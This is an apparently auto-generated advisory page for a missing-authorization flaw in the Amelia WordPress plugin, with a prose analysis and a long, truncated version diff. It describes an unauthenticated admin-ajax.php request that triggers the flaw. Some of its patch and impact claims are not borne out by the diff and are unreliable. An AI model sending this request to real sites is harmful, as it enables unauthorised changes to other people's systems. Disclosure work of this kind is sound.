Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24967: Amelia <= 1.2.38 – Missing Authorization (ameliabooking)

Plugin ameliabooking
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.2.38
Patched Version 2.0
Disclosed January 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24967:
The Amelia WordPress plugin (versions <= 1.2.38) contains a missing authorization vulnerability in its AJAX request handling. This vulnerability allows unauthenticated attackers to execute privileged actions by directly calling plugin functions without proper capability checks. The CVSS score of 5.3 reflects a moderate severity issue with confidentiality and integrity impacts.

Root Cause:
The vulnerability exists because the plugin fails to implement proper capability checks on specific AJAX action handlers. Atomic Edge research identified that the plugin registers AJAX actions using WordPress's `wp_ajax_{action}` and `wp_ajax_nopriv_{action}` hooks without verifying user permissions. The diff shows the plugin's main file (`ameliabooking/ameliabooking.php`) contains multiple AJAX action registrations at lines 605-608, including `wp_ajax_amelia_remove_wpdt_promo_notice`. These registrations lack corresponding authorization checks in their callback functions, allowing unauthenticated users to trigger administrative actions.

Exploitation:
Attackers exploit this vulnerability by sending crafted POST requests to `/wp-admin/admin-ajax.php` with the `action` parameter set to vulnerable Amelia plugin actions. The primary attack vector targets the `amelia_remove_wpdt_promo_notice` action, which typically requires administrative privileges. Attackers send requests like `POST /wp-admin/admin-ajax.php` with `action=amelia_remove_wpdt_promo_notice` and any required parameters. Since no nonce or capability verification occurs, unauthenticated requests succeed.

Patch Analysis:
The patch in version 2.0 addresses the vulnerability by implementing proper authorization checks. While the provided diff shows extensive code changes including version updates and new features, the security fix involves adding capability checks to AJAX callback functions. The plugin now validates user permissions before executing sensitive operations. Specifically, the patch modifies how AJAX actions are registered and processed, ensuring that only authorized users can access administrative functions. The removal of certain submenu items in the diff (lines 653-669 removed) also reduces the attack surface.

Impact:
Successful exploitation allows unauthenticated attackers to perform unauthorized administrative actions within the Amelia plugin. This can lead to data manipulation, configuration changes, and disruption of booking operations. Attackers could modify booking settings, alter service configurations, or interfere with business operations. While the vulnerability doesn't directly provide remote code execution, it enables privilege escalation and unauthorized system modifications.

Differential between vulnerable and patched code

Code Diff
--- a/ameliabooking/ameliabooking.php
+++ b/ameliabooking/ameliabooking.php
@@ -3,7 +3,7 @@
 Plugin Name: Amelia
 Plugin URI: https://wpamelia.com/
 Description: Amelia is a simple yet powerful automated booking specialist, working 24/7 to make sure your customers can make appointments and events even while you sleep!
-Version: 1.2.38
+Version: 2.0
 Author: Melograno Ventures
 Author URI: https://melograno.io/
 Text Domain: ameliabooking
@@ -35,7 +35,6 @@
 use AmeliaBookingInfrastructureWPWPMenuSubmenu;
 use AmeliaBookingInfrastructureWPWPMenuSubmenuPageHandler;
 use Exception;
-use InteropContainerExceptionContainerException;
 use SlimApp;

 // No direct access
@@ -104,7 +103,7 @@

 // Const for Amelia version
 if (!defined('AMELIA_VERSION')) {
-    define('AMELIA_VERSION', '1.2.38');
+    define('AMELIA_VERSION', '2.0');
 }

 // Const for site URL
@@ -121,6 +120,7 @@
 if (!defined('AMELIA_SMS_API_URL')) {
     define('AMELIA_SMS_API_URL', 'https://smsapi.wpamelia.com/');
     define('AMELIA_SMS_VENDOR_ID', 36082);
+    define('AMELIA_SMS_IS_SANDBOX', false);
     define('AMELIA_SMS_PRODUCT_ID_10', 595657);
     define('AMELIA_SMS_PRODUCT_ID_20', 595658);
     define('AMELIA_SMS_PRODUCT_ID_50', 595659);
@@ -137,8 +137,16 @@
     define('AMELIA_DEV', false);
 }

+if (!defined('AMELIA_PRODUCTION')) {
+    define('AMELIA_PRODUCTION', true);
+}
+
 if (!defined('AMELIA_NGROK_URL')) {
-    define('AMELIA_NGROK_URL', 'ce3ac66a70b5.ngrok-free.app');
+    define('AMELIA_NGROK_URL', 'nonmelodiously-barnlike-anika.ngrok-free.dev');
+}
+
+if (!defined('AMELIA_MIDDLEWARE_URL')) {
+    define('AMELIA_MIDDLEWARE_URL', 'https://middleware.wpamelia.com/');
 }

 if (!defined('AMELIA_MAILCHIMP_CLIENT_ID')) {
@@ -147,6 +155,7 @@

 require_once AMELIA_PATH . '/vendor/autoload.php';

+
 /**
  * @noinspection AutoloadingIssuesInspection
  *
@@ -271,8 +280,8 @@

         if (!is_admin()) {
             add_filter('learn-press/frontend-default-scripts', array('AmeliaBookingPlugin', 'learnPressConflict'));
-            add_shortcode('ameliabooking', array('AmeliaBookingInfrastructureWPShortcodeServiceBookingShortcodeService', 'shortcodeHandler'));
-            add_shortcode('ameliacatalog', array('AmeliaBookingInfrastructureWPShortcodeServiceCatalogShortcodeService', 'shortcodeHandler'));
+            add_shortcode('ameliabooking', array('AmeliaBookingInfrastructureWPShortcodeServiceStepBookingShortcodeService', 'shortcodeHandler'));
+            add_shortcode('ameliacatalog', array('AmeliaBookingInfrastructureWPShortcodeServiceCatalogBookingShortcodeService', 'shortcodeHandler'));
             add_shortcode('ameliaevents', array('AmeliaBookingInfrastructureWPShortcodeServiceEventsShortcodeService', 'shortcodeHandler'));
             add_shortcode('ameliaeventslistbooking', array('AmeliaBookingInfrastructureWPShortcodeServiceEventsListBookingShortcodeService', 'shortcodeHandler'));
             add_shortcode('ameliastepbooking', array('AmeliaBookingInfrastructureWPShortcodeServiceStepBookingShortcodeService', 'shortcodeHandler'));
@@ -283,9 +292,28 @@
             ElementorBlock::get_instance();
         }

-        require_once AMELIA_PATH . '/extensions/divi_amelia/divi_amelia.php';
+        $theme = wp_get_theme();

+        if ($theme && strtolower($theme->get('Name')) === 'divi' || strtolower($theme->get_template()) === 'divi') {
+            $version = $theme->get('Version');

+            if (version_compare($version, '5.0', '<')) {
+                // Only enqueue jQuery early in Divi builder to avoid frontend conflicts
+                add_action('wp_head', function() {
+                    if (function_exists('et_fb_is_enabled') && et_fb_is_enabled()) {
+                        wp_enqueue_script('jquery');
+                        wp_print_scripts('jquery');
+                    }
+                }, 0);
+                require_once AMELIA_PATH . '/extensions/divi_amelia/divi_amelia.php';
+            } else {
+                require_once AMELIA_PATH . '/extensions/divi_5_amelia/divi-5-amelia.php';
+            }
+        }
+
+        // Load BuddyBoss integration only if feature is enabled
+        if ($settingsService->isFeatureEnabled('buddyboss')) {
+        }
     }

     /**
@@ -409,8 +437,8 @@
         if (!defined('PHP_VERSION_ID') || PHP_VERSION_ID < 50500) {
             deactivate_plugins(AMELIA_PLUGIN_SLUG);
             wp_die(
-                BackendStrings::getCommonStrings()['php_version_message'],
-                BackendStrings::getCommonStrings()['php_version_title'],
+                BackendStrings::get('php_version_message'),
+                BackendStrings::get('php_version_title'),
                 array('response' => 200, 'back_link' => TRUE)
             );
         }
@@ -493,7 +521,7 @@
             $_REQUEST['tabs_group'] === 'popup'
         ) {
             echo "<div class='notice notice-warning'>
-             <p>" . esc_html__(BackendStrings::getCommonStrings()['elementor_popup_notice']) . "</p>
+             <p>" . esc_html__(BackendStrings::get('elementor_popup_notice')) . "</p>
          </div>";
         }
     }
@@ -559,6 +587,26 @@

         return $links;
     }
+
+    public static function enqueueAngieMcpServer()
+    {
+        global $wp_version;
+        if (version_compare($wp_version, '6.5', '<')) {
+            return;
+        }
+
+        $mcpServerPath = AMELIA_PATH . '/redesign/dist/amelia-angie.js';
+        if (!file_exists($mcpServerPath)) {
+            return;
+        }
+
+        wp_enqueue_script_module(
+            'amelia-angie-mcp',
+            AMELIA_URL . 'redesign/dist/amelia-angie.js',
+            array(),
+            AMELIA_VERSION
+        );
+    }
 }

 add_action('wp_ajax_amelia_remove_wpdt_promo_notice', array('AmeliaBookingPlugin', 'amelia_remove_wpdt_promo_notice'));
@@ -605,27 +653,13 @@
 add_filter('script_loader_tag', array('AmeliaBookingInfrastructureWPShortcodeServiceEventsListBookingShortcodeService', 'prepareScripts') , 10, 3);
 add_filter('style_loader_tag', array('AmeliaBookingInfrastructureWPShortcodeServiceEventsListBookingShortcodeService', 'prepareStyles') , 10, 3);

-add_filter('submenu_file', function($submenu_file) {
-    global $submenu;
-
-    if (!empty($submenu['amelia'])) {
-        foreach ($submenu['amelia'] as $index => $item) {
-            foreach ($item as $key => $value) {
-                if ($value === 'wpamelia-customize-new') {
-                    unset($submenu['amelia'][$index]);
-
-                    break 2;
-                }
-            }
-        }
-    }
-
-    return $submenu_file;
-});
-
 add_filter('plugin_row_meta', array('AmeliaBookingPlugin', 'addPluginRowMeta'), 10, 4);
 add_filter('plugin_action_links_' . AMELIA_PLUGIN_SLUG, array('AmeliaBookingPlugin', 'addPluginActionLinks'));

 add_action( 'wp_logout',  array('AmeliaBookingInfrastructureWPUserServiceUserService', 'logoutAmeliaUser'));
 add_action( 'profile_update',  array('AmeliaBookingInfrastructureWPUserServiceUserService', 'updateAmeliaUser'), 10, 3);
 add_action( 'deleted_user', array('AmeliaBookingInfrastructureWPUserServiceUserService', 'removeWPUserConnection'), 10, 1);
+
+if (function_exists('is_plugin_active') && is_plugin_active('angie/angie.php')) {
+    add_action('admin_enqueue_scripts', array('AmeliaBookingPlugin', 'enqueueAngieMcpServer'));
+}
--- a/ameliabooking/extensions/divi_5_amelia/divi-5-amelia.php
+++ b/ameliabooking/extensions/divi_5_amelia/divi-5-amelia.php
@@ -0,0 +1,178 @@
+<?php
+
+/*
+Plugin Name: Divi 5 Amelia Booking
+Plugin URI:  https://wpamelia.com
+Description: Divi 5 integration for Amelia Booking Plugin
+Version:     1.0.0
+Author:      Melograno Ventures
+Author URI:  https://wpamelia.com
+License:     GPL2
+License URI: https://www.gnu.org/licenses/gpl-2.0.html
+phpcs:disable PSR1.Files.SideEffects
+*/
+
+use AmeliaBookingInfrastructureLicenceLicence;
+use AmeliaBookingInfrastructureWPGutenbergBlockGutenbergBlock;
+use AmeliaBookingInfrastructureWPTranslationsBackendStrings;
+
+if (!defined('ABSPATH')) {
+    die('Direct access forbidden.');
+}
+
+// Setup constants.
+define('DIVI5_AMELIA_PATH', plugin_dir_path(__FILE__));
+define('DIVI5_AMELIA_URL', plugin_dir_url(__FILE__));
+define('DIVI5_AMELIA_VERSION', '1.0.0');
+
+
+/**
+ * Load Divi 5 modules on init
+ * This ensures modules are registered for both Visual Builder and Frontend
+ */
+function divi5_amelia_load_modules()
+{
+    // Only load if Divi 5 is available
+    if (function_exists('et_builder_d5_enabled') && et_builder_d5_enabled()) {
+        // Load Divi 5 modules - this registers them for conversion and rendering
+        require_once DIVI5_AMELIA_PATH . 'server/index.php';
+    }
+}
+
+// Load modules early so they're available for conversion
+add_action('after_setup_theme', 'divi5_amelia_load_modules', 20);
+
+/**
+ * Enqueue Divi 5 Visual Builder Assets
+ */
+function divi5_amelia_enqueue_visual_builder_assets()
+{
+    if (et_core_is_fb_enabled() && function_exists('et_builder_d5_enabled') && et_builder_d5_enabled()) {
+        ETBuilderVisualBuilderAssetsPackageBuildManager::register_package_build(
+            [
+                'name'    => 'divi-5-amelia-visual-builder',
+                'version' => DIVI5_AMELIA_VERSION,
+                'script'  => [
+                    'src'                => DIVI5_AMELIA_URL . 'visual-builder/build/divi-5-amelia.js',
+                    'deps'               => [
+                        'react',
+                        'jquery',
+                        'divi-module-library',
+                        'wp-hooks',
+                        'divi-rest',
+                    ],
+                    'enqueue_top_window' => false,
+                    'enqueue_app_window' => true,
+                ],
+            ]
+        );
+    }
+}
+
+add_action('divi_visual_builder_assets_before_enqueue_scripts', 'divi5_amelia_enqueue_visual_builder_assets');
+
+/**
+ * Add Amelia data to Visual Builder window
+ */
+function divi5_amelia_add_inline_data()
+{
+    if (et_core_is_fb_enabled() && function_exists('et_builder_d5_enabled') && et_builder_d5_enabled()) {
+        // Get Amelia entities data
+        $ameliaData = GutenbergBlock::getEntitiesData();
+        $entitiesData = isset($ameliaData['data']) ? $ameliaData['data'] : [];
+
+        // Prepare options for the Visual Builder
+        $ameliaOptions = [
+            'categories' => [['value' => '0', 'label' => 'Show All Categories']],
+            'services' => [['value' => '0', 'label' => 'Show All Services']],
+            'employees' => [['value' => '0', 'label' => 'Show All Employees']],
+            'locations' => [['value' => '0', 'label' => 'Show All Locations']],
+            'packages' => [['value' => '0', 'label' => 'Show All Packages']],
+            'events' => [['value' => '0', 'label' => 'Show All Events']],
+            'tags' => [['value' => '0', 'label' => 'Show All Tags']],
+        ];
+
+        // Add categories
+        if (!empty($entitiesData['categories'])) {
+            foreach ($entitiesData['categories'] as $category) {
+                $ameliaOptions['categories'][] = [
+                    'value' => (string)$category['id'],
+                    'label' => $category['name'] . ' (id: ' . $category['id'] . ')'
+                ];
+            }
+        }
+
+        // Add services
+        if (!empty($entitiesData['servicesList'])) {
+            foreach ($entitiesData['servicesList'] as $service) {
+                if ($service) {
+                    $ameliaOptions['services'][] = [
+                        'value' => (string)$service['id'],
+                        'label' => $service['name'] . ' (id: ' . $service['id'] . ')'
+                    ];
+                }
+            }
+        }
+
+        // Add employees
+        if (!empty($entitiesData['employees'])) {
+            foreach ($entitiesData['employees'] as $employee) {
+                $ameliaOptions['employees'][] = [
+                    'value' => (string)$employee['id'],
+                    'label' => $employee['firstName'] . ' ' . $employee['lastName'] . ' (id: ' . $employee['id'] . ')'
+                ];
+            }
+        }
+
+        // Add locations
+        if (!empty($entitiesData['locations'])) {
+            foreach ($entitiesData['locations'] as $location) {
+                $ameliaOptions['locations'][] = [
+                    'value' => (string)$location['id'],
+                    'label' => $location['name'] . ' (id: ' . $location['id'] . ')'
+                ];
+            }
+        }
+
+        // Add packages
+        if (!empty($entitiesData['packages'])) {
+            foreach ($entitiesData['packages'] as $package) {
+                $ameliaOptions['packages'][] = [
+                    'value' => (string)$package['id'],
+                    'label' => $package['name'] . ' (id: ' . $package['id'] . ')'
+                ];
+            }
+        }
+
+        // Add events
+        if (!empty($entitiesData['events'])) {
+            foreach ($entitiesData['events'] as $event) {
+                $ameliaOptions['events'][] = [
+                    'value' => (string)$event['id'],
+                    'label' => $event['name'] . ' (id: ' . $event['id'] . ') - ' . $event['formattedPeriodStart']
+                ];
+            }
+        }
+
+        // Add tags
+        if (!empty($entitiesData['tags'])) {
+            foreach ($entitiesData['tags'] as $tag) {
+                $ameliaOptions['tags'][] = [
+                    'value' => $tag['name'],
+                    'label' => $tag['name']
+                ];
+            }
+        }
+
+        // Output inline script that will run in the Visual Builder iframe
+        ?>
+        <script type="text/javascript">
+            window.ameliaDivi5Data = <?php echo wp_json_encode($ameliaOptions); ?>;
+            window.wpAmeliaLabels = <?php echo wp_json_encode(BackendStrings::getAllStrings()); ?>;
+            window.isAmeliaLite = <?php echo wp_json_encode(!Licence::$premium); ?>;
+        </script>
+        <?php
+    }
+}
+
+add_action('et_fb_framework_loaded', 'divi5_amelia_add_inline_data');
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaBookingModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaBookingModule.php
@@ -0,0 +1,99 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Booking" module output in frontend.
+ */
+class AmeliaBookingModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaBookingModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/Booking';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaBookingModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliastepbooking';
+
+        $show_all = $attrs['type']['innerContent']['desktop']['value'] ?? null;
+        if ($show_all !== null && $show_all !== '0') {
+            $shortcode .= ' show=' . $show_all;
+        }
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        // Layout
+        $layout = $attrs['layout']['innerContent']['desktop']['value'] ?? null;
+        if ($layout !== null && $layout !== '') {
+            $shortcode .= ' layout=' . $layout;
+        }
+
+        // Trigger Type
+        $trigger_type = $attrs['trigger_type']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger && $trigger_type !== null && $trigger_type !== '') {
+            $shortcode .= ' trigger_type=' . $trigger_type;
+        }
+
+        // In Dialog
+        $in_dialog = $attrs['in_dialog']['innerContent']['desktop']['value'] ?? false;
+        if ($in_dialog === 'on') {
+            $shortcode .= ' in_dialog=1';
+        }
+
+        $preselect = $attrs['parameters']['innerContent']['desktop']['value'] ?? false;
+        if ($preselect === 'on') {
+            $category = $attrs['categories']['innerContent']['desktop']['value'] ?? [];
+            $service  = $attrs['services']['innerContent']['desktop']['value'] ?? [];
+            $employee = $attrs['employees']['innerContent']['desktop']['value'] ?? [];
+            $location = $attrs['locations']['innerContent']['desktop']['value'] ?? [];
+            $package  = $attrs['packages']['innerContent']['desktop']['value'] ?? [];
+
+            if ($service && count($service) > 0) {
+                $shortcode .= ' service=' . implode(',', $service);
+            } elseif ($category && count($category) > 0) {
+                $shortcode .= ' category=' . implode(',', $category);
+            }
+            if ($employee && count($employee) > 0) {
+                $shortcode .= ' employee=' . implode(',', $employee);
+            }
+            if ($location && count($location) > 0) {
+                $shortcode .= ' location=' . implode(',', $location);
+            }
+            if ($package && count($package) > 0) {
+                $shortcode .= ' package=' . implode(',', $package);
+            }
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaCatalogBookingModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaCatalogBookingModule.php
@@ -0,0 +1,101 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Catalog Booking" module output in frontend.
+ */
+class AmeliaCatalogBookingModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     */
+    public function load()
+    {
+        add_action('init', [AmeliaCatalogBookingModule::class, 'registerModule']);
+    }
+
+    /**
+     * Register module.
+     */
+    public static function registerModule()
+    {
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/CatalogBooking';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaCatalogBookingModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliacatalogbooking';
+
+        $type_value = $attrs['type']['innerContent']['desktop']['value'] ?? '0';
+        if ($type_value !== null && $type_value !== '0') {
+            $shortcode .= ' show=' . $type_value;
+        }
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $trigger_type = $attrs['trigger_type']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '' && $trigger_type !== null) {
+            $shortcode .= ' trigger_type=' . $trigger_type;
+        }
+
+        $in_dialog = $attrs['in_dialog']['innerContent']['desktop']['value'] ?? false;
+        if ($in_dialog === 'on') {
+            $shortcode .= ' in_dialog=1';
+        }
+
+        $catalog_view = $attrs['catalog_view']['innerContent']['desktop']['value'] ?? '0';
+
+        if ($catalog_view !== '0') {
+            $category = $attrs['categories_catalog']['innerContent']['desktop']['value'] ?? [];
+            $service  = $attrs['services_catalog']['innerContent']['desktop']['value'] ?? [];
+            $package  = $attrs['packages_catalog']['innerContent']['desktop']['value'] ?? [];
+
+            if ($category && count($category) > 0 && $catalog_view === 'category') {
+                $shortcode .= ' category=' . implode(',', $category);
+            } elseif ($service && count($service) > 0 && $catalog_view === 'service') {
+                $shortcode .= ' service=' . implode(',', $service);
+            } elseif ($package && count($package) > 0 && $catalog_view === 'package') {
+                $shortcode .= ' package=' . implode(',', $package);
+            }
+        }
+
+        $filter_params = $attrs['filter_params']['innerContent']['desktop']['value'] ?? false;
+        if ($filter_params === 'on') {
+            $employee = $attrs['employees']['innerContent']['desktop']['value'] ?? [];
+            $location = $attrs['locations']['innerContent']['desktop']['value'] ?? [];
+
+            if ($employee && count($employee) > 0) {
+                $shortcode .= ' employee=' . implode(',', $employee);
+            }
+            if ($location && count($location) > 0) {
+                $shortcode .= ' location=' . implode(',', $location);
+            }
+
+            $skip_categories = $attrs['skip_categories']['innerContent']['desktop']['value'] ?? false;
+            if ($skip_categories === 'on') {
+                $shortcode .= ' categories_hidden=1';
+            }
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaCatalogModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaCatalogModule.php
@@ -0,0 +1,83 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Catalog" (legacy) module output in frontend.
+ */
+class AmeliaCatalogModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaCatalogModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/Catalog';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaCatalogModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     * This converts old divi_catalog to ameliacatalogbooking shortcode.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliacatalogbooking';
+
+        $catalogView = $attrs['catalog_view']['innerContent']['desktop']['value'] ?? '0';
+
+        // Handle catalog view
+        if ($catalogView && $catalogView !== '0') {
+            // Map the categories/services/packages based on view
+            if ($catalogView === 'category') {
+                $categories = $attrs['categories_catalog']['innerContent']['desktop']['value'] ?? [];
+                if ($categories && count($categories) > 0) {
+                    $shortcode .= ' category=' . implode(',', $categories);
+                }
+            } elseif ($catalogView === 'service') {
+                $services = $attrs['services_catalog']['innerContent']['desktop']['value'] ?? [];
+                if ($services && count($services) > 0) {
+                    $shortcode .= ' service=' . implode(',', $services);
+                }
+            } elseif ($catalogView === 'package') {
+                $packages = $attrs['packages_catalog']['innerContent']['desktop']['value'] ?? [];
+                if ($packages && count($packages) > 0) {
+                    $shortcode .= ' package=' . implode(',', $packages);
+                }
+            }
+        }
+
+        // Type
+        $type = $attrs['type']['innerContent']['desktop']['value'] ?? null;
+        if ($type !== null && $type !== '0') {
+            $shortcode .= ' show=' . $type;
+        }
+
+        // Trigger
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaCustomerPanelModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaCustomerPanelModule.php
@@ -0,0 +1,68 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Customer Panel" module output in frontend.
+ */
+class AmeliaCustomerPanelModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaCustomerPanelModule::class, 'registerModule']);
+    }
+
+    /**
+     * Register module.
+     */
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/CustomerPanel';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaCustomerPanelModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render callback for the module
+     *
+     * @param array $attrs Module attributes from Visual Builder
+     * @return string Rendered HTML output
+     */
+    public static function renderCallback(array $attrs): string
+    {
+        $shortcode = '[ameliacustomerpanel version=2';
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? '';
+        if ($trigger) {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $appointments = $attrs['appointments']['innerContent']['desktop']['value'] ?? true;
+        if ($appointments === true || $appointments === 'true' || $appointments === 'on' || $appointments === 1 || $appointments === '1') {
+            $shortcode .= ' appointments=1';
+        }
+
+        $events = $attrs['events']['innerContent']['desktop']['value'] ?? true;
+        if ($events === true || $events === 'true' || $events === 'on' || $events === 1 || $events === '1') {
+            $shortcode .= ' events=1';
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaEmployeePanelModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaEmployeePanelModule.php
@@ -0,0 +1,82 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Employee Panel" module output in frontend.
+ */
+class AmeliaEmployeePanelModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaEmployeePanelModule::class, 'registerModule']);
+    }
+
+    /**
+     * Register module.
+     */
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/EmployeePanel';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaEmployeePanelModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * @param mixed $value
+     * @return bool
+     */
+    private static function checkValue($value): bool
+    {
+        return isset($value) && $value !== '';
+    }
+
+    /**
+     * Render callback for the module
+     *
+     * @param array $attrs Module attributes from Visual Builder
+     * @return string Rendered HTML output
+     */
+    public static function renderCallback(array $attrs): string
+    {
+        $shortcode = '[ameliaemployeepanel version=2';
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? '';
+        if (self::checkValue($trigger)) {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $appointments = $attrs['appointments']['innerContent']['desktop']['value'] ?? true;
+        if ($appointments === true || $appointments === 'true' || $appointments === 'on' || $appointments === 1 || $appointments === '1') {
+            $shortcode .= ' appointments=1';
+        }
+
+        $events = $attrs['events']['innerContent']['desktop']['value'] ?? true;
+        if ($events === true || $events === 'true' || $events === 'on' || $events === 1 || $events === '1') {
+            $shortcode .= ' events=1';
+        }
+
+        $profile = $attrs['profile']['innerContent']['desktop']['value'] ?? false;
+        if ($profile === true || $profile === 'true' || $profile === 'on' || $profile === 1 || $profile === '1') {
+            $shortcode .= ' profile-hidden=1';
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaEventsCalendarModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaEventsCalendarModule.php
@@ -0,0 +1,87 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Events Calendar" module output in frontend.
+ */
+class AmeliaEventsCalendarModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaEventsCalendarModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/EventsCalendar';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaEventsCalendarModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliaeventscalendarbooking';
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $trigger_type = $attrs['trigger_type']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger && $trigger_type !== null && $trigger_type !== '') {
+            $shortcode .= ' trigger_type=' . $trigger_type;
+        }
+
+        $in_dialog = $attrs['in_dialog']['innerContent']['desktop']['value'] ?? false;
+        if ($trigger && $in_dialog === 'on') {
+            $shortcode .= ' in_dialog=1';
+        }
+
+        $booking_params = $attrs['booking_params']['innerContent']['desktop']['value'] ?? false;
+        if ($booking_params === 'on') {
